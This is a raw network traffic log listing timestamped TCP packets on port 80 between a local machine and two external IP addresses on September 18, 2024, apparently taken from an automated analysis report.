Sep 18, 2024 14:30:08.910290003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910301924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910314083 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910326004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910337925 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910352945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910362959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910366058 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910377026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910398960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910398960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910414934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910419941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910432100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910443068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910456896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910464048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910464048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910468102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910480976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910489082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910495043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910502911 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910506010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910517931 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910517931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910541058 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910559893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910573959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910573959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910584927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910598993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910598993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910604954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910618067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910629988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910641909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910641909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910649061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910660982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910674095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910686016 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910696030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910696030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910697937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910706997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910712004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910713911 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910725117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910737038 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910737991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910751104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910763025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910773993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910775900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910799026 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910814047 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910847902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910860062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910871029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910883904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910895109 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.910897017 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.910931110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.911075115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911087036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911099911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911127090 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.911225080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911236048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911257029 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911262035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.911262035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.911271095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.911283970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911295891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911297083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.911297083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.911308050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911322117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911329985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.911335945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911346912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911354065 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.911361933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.911367893 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.911405087 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.911477089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.912215948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912229061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912244081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912272930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.912345886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912358999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912370920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912384033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912406921 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.912406921 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.912483931 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.912827015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912848949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.912859917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912921906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912933111 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.912934065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912945986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912956953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912962914 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.912969112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.912992001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.913017035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.913070917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.913084030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913095951 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913109064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913111925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.913120985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913127899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.913135052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913147926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.913161993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.913161993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.913201094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.913201094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.913950920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914016962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914032936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914045095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914057016 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914067984 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914081097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914082050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914093018 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914096117 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914107084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.914114952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914123058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914129972 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914144993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914149046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.914158106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914170027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914172888 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.914182901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914196968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914212942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.914215088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.914215088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.914269924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.914269924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915030003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915107965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915117979 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915121078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915132999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915144920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915157080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915168047 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915169954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915194988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915201902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915214062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915215015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915226936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915237904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915249109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915251017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915261030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915277004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915277958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915292978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.915302992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915302992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915306091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915318012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915329933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915332079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915332079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.915354013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915355921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915365934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915374994 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915380955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915400028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915400028 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915411949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.915435076 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.915460110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.920708895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920722961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920733929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920758963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920770884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920782089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920799017 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.920802116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.920814991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920831919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.920857906 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.920888901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920902014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920913935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920917034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.920926094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920939922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920953035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.920953035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.920953035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.920968056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921003103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921003103 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921020031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921031952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921044111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921056032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921065092 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921065092 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921067953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921082020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.921097994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921097994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921099901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921112061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921123028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921134949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921147108 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921148062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921159029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921169996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921170950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921181917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921189070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921204090 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921211958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921224117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921225071 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921236992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921247005 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921261072 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921276093 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921291113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921308041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921324968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921329021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921336889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921343088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921359062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921386957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921416044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.921442032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921454906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921467066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921479940 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921490908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921492100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921504974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921514988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921518087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921529055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921544075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921565056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921650887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921729088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921739101 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921761036 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921770096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921782017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921782017 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921793938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921806097 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921806097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921818018 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921821117 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921849012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921891928 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921902895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921921968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921932936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921935081 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921945095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.921953917 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.921977043 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922022104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922034979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922045946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922058105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922065020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922069073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922077894 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922080994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922103882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922116041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922127962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922127962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922139883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922149897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.922149897 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922163010 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.922178984 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929233074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929256916 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929266930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929363966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929377079 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929389954 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929400921 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929410934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929410934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929410934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929414988 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929429054 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929445028 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929445028 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929451942 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929465055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929476976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929490089 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929501057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929512978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929517031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929517031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929517031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929549932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929563046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929574966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929584026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929584026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929584026 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929595947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929610014 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.929615021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929615021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.929631948 CEST	80	49704	147.45.44.104	192.168.2.7
